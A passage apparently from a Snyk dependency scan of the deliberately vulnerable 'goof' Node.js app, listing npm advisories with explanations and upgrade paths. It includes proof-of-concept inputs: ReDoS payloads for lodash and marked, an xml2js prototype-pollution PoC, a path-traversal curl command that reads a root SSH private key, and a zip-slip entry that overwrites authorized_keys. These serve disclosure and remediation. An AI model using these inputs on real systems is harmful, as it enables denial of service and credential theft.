Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade yargs-parser
to version 5.0.1, 13.1.2, 15.0.1, 18.1.1 or higher.
References
medium severity
- Vulnerable module: jquery
- Introduced through: jquery@2.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › jquery@2.2.4Remediation: Upgrade to jquery@3.0.0.
Overview
jquery is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS)
attacks when a cross-domain ajax request is performed without the dataType
option causing text/javascript
responses to be executed.
Note: After being implemented in version 1.12.0, the fix of this vulnerability was reverted in 1.12.3, and then was only reintroduced in version 3.0.0-beta1. The fix was never released in any tag of the 2.x.x branch, as it was reverted out of the branch before being released.
Note: CVE-2017-16012 is a duplicate of CVE-2015-9251
Details
Remediation
Upgrade jquery
to version 1.12.0, 3.0.0-beta1 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: ejs@1.0.0 and ejs-locals@1.0.2
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › ejs@1.0.0Remediation: Upgrade to ejs@3.1.10.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › ejs-locals@1.0.2 › ejs@0.8.8
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.
Note:
Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty
method.
Remediation
Upgrade ejs
to version 3.1.10 or higher.
References
medium severity
- Vulnerable module: express-fileupload
- Introduced through: express-fileupload@0.0.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express-fileupload@0.0.5
Overview
express-fileupload is a file upload middleware for express that wraps around busboy.
Affected versions of this package are vulnerable to Arbitrary File Upload that allows attackers to execute arbitrary code when uploading a crafted PHP file.
NOTE: The maintainers of this package dispute its validity on the grounds that the attack vector described is the normal usage of the package.
Remediation
There is no fixed version for express-fileupload
.
References
medium severity
- Vulnerable module: express-fileupload
- Introduced through: express-fileupload@0.0.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express-fileupload@0.0.5
Overview
express-fileupload is a file upload middleware for express that wraps around busboy.
Affected versions of this package are vulnerable to Arbitrary File Upload when it is possible for attackers to upload multiple files with the same name, causing an overwrite of files in the web application server.
Remediation
There is no fixed version for express-fileupload
.
References
medium severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › lodash@4.17.4Remediation: Upgrade to lodash@4.17.21.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber
, trim
and trimEnd
functions.
POC
var lo = require('lodash');
function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0)
var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1)
var time2 = Date.now();
lo.trimEnd(s)
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2)
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade lodash
to version 4.17.21 or higher.
References
medium severity
- Vulnerable module: marked
- Introduced through: marked@0.3.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › marked@0.3.5Remediation: Upgrade to marked@0.6.2.
Overview
marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The inline.text regex
may take quadratic time to scan for potential email addresses starting at every point.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade marked
to version 0.6.2 or higher.
References
medium severity
- Vulnerable module: marked
- Introduced through: marked@0.3.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › marked@0.3.5Remediation: Upgrade to marked@4.0.10.
Overview
marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when passing unsanitized user input to inline.reflinkSearch
, if it is not being parsed by a time-limited worker thread.
PoC
import * as marked from 'marked';
console.log(marked.parse(`[x]: x
\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](`));
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade marked
to version 4.0.10 or higher.
References
medium severity
- Vulnerable module: marked
- Introduced through: marked@0.3.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › marked@0.3.5Remediation: Upgrade to marked@4.0.10.
Overview
marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when unsanitized user input is passed to block.def
.
PoC
import * as marked from "marked";
marked.parse(`[x]:${' '.repeat(1500)}x ${' '.repeat(1500)} x`);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade marked
to version 4.0.10 or higher.
References
medium severity
- Vulnerable module: marked
- Introduced through: marked@0.3.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › marked@0.3.5Remediation: Upgrade to marked@0.4.0.
Overview
marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A Denial of Service condition could be triggered through exploitation of the heading
regex.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade marked
to version 0.4.0 or higher.
References
medium severity
- Vulnerable module: ms
- Introduced through: humanize-ms@1.0.1
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › humanize-ms@1.0.1 › ms@0.6.2Remediation: Upgrade to humanize-ms@1.0.2.
Overview
ms is a tiny milisecond conversion utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS)
attack when converting a time period string (i.e. "2 days"
, "1h"
) into a milliseconds integer. A malicious user could pass extremely long strings to ms()
, causing the server to take a long time to process, subsequently blocking the event loop for that extended period.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ms
to version 0.7.1 or higher.
References
medium severity
- Vulnerable module: semver
- Introduced through: npmconf@0.0.24
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › npmconf@0.0.24 › semver@1.1.4Remediation: Upgrade to npmconf@2.0.9.
Overview
semver is a semantic version parser used by npm.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The semver module uses regular expressions when parsing a version string. For a carefully crafted input, the time it takes to process these regular expressions is not linear to the length of the input. Since the semver module did not enforce a limit on the version string length, an attacker could provide a long string that would take up a large amount of resources, potentially taking a server down. This issue therefore enables a potential Denial of Service attack.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade semver
to version 4.3.2 or higher.
References
medium severity
- Vulnerable module: st
- Introduced through: st@0.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › st@0.2.4Remediation: Upgrade to st@0.2.5.
Overview
Versions prior to 0.2.5 did not properly prevent path traversal. Literal dots in a path were resolved out, but url encoded dots were not. Thus, a request like /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
would leak sensitive files and data from the server.
As of version 0.2.5, any '/../'
in the request path, urlencoded or not, will be replaced with '/'
. If your application depends on url traversal, then you are encouraged to please refactor so that you do not depend on having ..
in url paths, as this tends to expose data that you may be surprised to be exposing.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e
is the URL encoded version of .
(dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade to version 0.2.5 or greater.
References
medium severity
- Vulnerable module: xml2js
- Introduced through: typeorm@0.2.45
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › typeorm@0.2.45 › xml2js@0.4.23Remediation: Upgrade to typeorm@0.3.14.
Overview
Affected versions of this package are vulnerable to Prototype Pollution due to allowing an external attacker to edit or add new properties to an object. This is possible because the application does not properly validate incoming JSON keys, thus allowing the __proto__
property to be edited.
PoC
var parseString = require('xml2js').parseString;
let normal_user_request = "<role>admin</role>";
let malicious_user_request = "<__proto__><role>admin</role></__proto__>";
const update_user = (userProp) => {
// A user cannot alter his role. This way we prevent privilege escalations.
parseString(userProp, function (err, user) {
if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
console.log("Unauthorized Action");
} else {
console.log(user?.role[0]);
}
});
}
update_user(normal_user_request);
update_user(malicious_user_request);
Details
